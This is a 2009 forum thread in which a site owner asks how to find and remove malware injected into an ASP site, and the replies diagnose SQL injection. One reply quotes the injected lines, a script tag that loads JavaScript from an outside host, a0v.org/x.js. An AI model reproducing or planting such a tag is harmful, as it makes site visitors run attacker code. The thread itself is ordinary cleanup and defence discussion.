Question

How to find malware scripts

Asked by: nsiotto

Through Google Chrome I found out that my website has been hacked by some malware. Although I have located one specific asp page which is refreshing and showing some external website in the status bar, I cannot locate where the script is.

The page where I found this malware is: http://006a4bd.netsolhost.com/portal/admin/resume.asp?id=2

The only problem is that while trying to access the site with Google Chrome, analyzing the site with their advanced tool for webmaster, the problem according to this instrument resides elsewhere, http://006a4bd.netsolhost.com/portal/vacancies/frame.post.asp?id=859

Now how to locate the script?
How to clean it out?

The known domain is www.oilrecruit.com which is now put on hold for this issue.

Please help!
Thanks.

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Asked On
2009-08-17 at 02:25:12ID24657585
Tags

malware detection

,

malware removal

Topic

Networking Security Vulnerabilities

Participating Experts
2
Points
500
Comments
3

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Answers

 

by: jahboitePosted on 2009-08-17 at 02:47:09ID: 25112721

It looks like you may have SQL injection vulnerabilities in you application and the malicious content appearing on your website could be located in the SQL database.
SQL injection happens when your application accepts inputs from the client and uses that input in SQL queries without properly validating and sanitising it which allows for specially crafted inputs to perform unintended SQL queries.  Read more about SQLi at:
http://projects.webappsec.org/SQL-Injection

Read more from Microsoft about how to find SQL injection vulnerabilities and fix and prevent them at:
http://www.microsoft.com/technet/security/advisory/954462.mspx
(read the 'Suggested Actions' section for practical help)

 

by: Admin3kPosted on 2009-08-17 at 03:32:45ID: 25112922

if you would right click your page >view source , you will find those lines

src=http://a0v.org/x.js></script></b>&nbsp;</td></tr><tr>

3.1<script src=http://a0v.org/x.js></script></b></P></td></tr>

I believe this is the offending lines, try editing those out of your page & let us see how it goes.



 

by: nsiottoPosted on 2009-08-17 at 13:46:16ID: 31616464

The hack has affected over 4000 records in the database and cleaning will take several days which shall require contemporary some immediate actions to secure the database from future hacks.

However the issue was exactly the one explained by jahboite.

20120131-EE-VQP-002

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